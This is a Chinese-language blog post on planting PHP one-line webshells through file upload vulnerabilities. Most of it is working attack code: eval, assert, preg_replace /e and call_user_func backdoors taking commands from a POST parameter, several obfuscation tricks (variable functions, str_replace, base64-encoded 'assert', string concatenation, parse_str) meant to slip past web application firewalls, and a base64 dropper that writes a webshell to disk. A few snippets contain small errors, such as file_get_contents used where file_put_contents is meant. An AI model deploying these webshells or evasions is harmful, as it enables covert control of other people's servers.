PHP一句话木马在文件上传漏洞中的运用

发布于 2021-03-02  152 次阅读


0x01 概述

在很多的渗透测试过程中,安全人员会利用文件上传漏洞上传一句话木马(简称Webshell)到目前Web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此。

入侵条件

只要攻击者满足三个条件,就能实现成功入侵:

1.木马上传成功,未被waf拦截;

2.知道木马的路径在哪;

3.上传的木马能正常运行。

0x02 PHP一句话木马常用函数

1. eval()   

<?php @eval($_POST['hacker']); ?>    eval函数将接受的字符串当做代码执行

2. assert()

用法和 eval()一样

3. preg_replace()

<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>    

preg_replace 函数原本是利用正则表达式来替换符合条件的字符串,但是这个函数有一个功能,可执行命令的功能。

这个函数的第一个参数是正则表达式,按照php的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当做php代码执行。

4. create_function()

<?php
           $newfun = create_function('$hacker', 'echo $hacker;');
           $newfun('woaini');
        ?>
          创建了一个匿名函数,并返回了一个独一无二的函数名

5. call_user_func()

<?php @call_user_func(eval,$_POST['hacker']); ?>    或者

<?php @call_user_func($_POST["fun"],$_POST["para"]); ?>       

//post: fun=evel&para=phpinfo();

函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

6.file_put_contents()

<?php
          $test='一句话木马';
          file_get_contents("文件名", $test);
        ?>

此函数生成一个文件,第一个参数是文件名,第二个参数是要写入文件的内容。

0x03 怎么让一句话木马绕过 WAF

 WAF通常会以关键字判断是否为一句话木马,所以要将一句话木马变形使用,从而绕过 waf:

1. php变量函数

<?php
                $a = "assert";
                $a($_POST['hacker']); 
        ?>

使用了变量函数 $a,变量储存了函数名,便可以直接用变量替代函数名。

2. php可变变量

<?php
              $b = "assert";
              $a = 'b';
              $$a($_POST['hacker']);
        ?>

3. str_replace函数

<?php
                $a = str_replace("b", "", "absbsbebrbt");
                $a($_POST['hacker']);
        ?>
        此函数作用是:在第三个参数中查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除“b”。

4. base64_decode 函数

<?php
                $a = base64_decode("YXNzZXJ0");
                $a($_POST['hacker']);
        ?>

这是base64解密函数,“YXNzZXJ0”是“assert”字符串的base64加密。

当然,也可以这样:

<?php
                @fputs(fopen(base64_decode('dGVzdC5waHA='),w),
                base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydoYWN
                rZXInXSk7Pz4='));
        ?>

"dGVzdC5waHA="base64解码后是“test.php”,

“PD9waHAgQGV2YWwoJF9QT1NUWydoYWNrZXInXSk7Pz4=”解码后就是“<?php @eval($_POST['hacker']);?>”

这个相当于生成一个test.php的文件,并在文件中写入了一句话木马。

5. 使用"."连接字符串

<?php
                $b = "a"."ss";
                $c = "er"."t";
                $a = $b.$c;
                $a($_POST['hacker']);
        ?>

6. parse_str函数

<?php
                $str = "a=assert";
                parse_str($str);          //parse_str("a=assert");
                $a($_POST['hacker']);
        ?>

执行此函数后,将生成一个变量$a,变量$a的值为字符串”assert”。

最后举个例子:

<?php
                function fun(){
                    return $_POST['hacker'];
                }
                @preg_replace("/test/e", fun(), "testtesttest");
        ?>

以上六种技巧每一种单独使用都不能绕过waf,但是与 0x02 中提到的函数混合起来使用,就可以顺利的欺骗waf。

tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。

本站文章由渡缘人原创,如若转载请注明原文及出处:
https://www.hygrey.com/php-webshell.html

万物皆有裂痕,那正是光照进来的地方
最后更新于 2021-03-02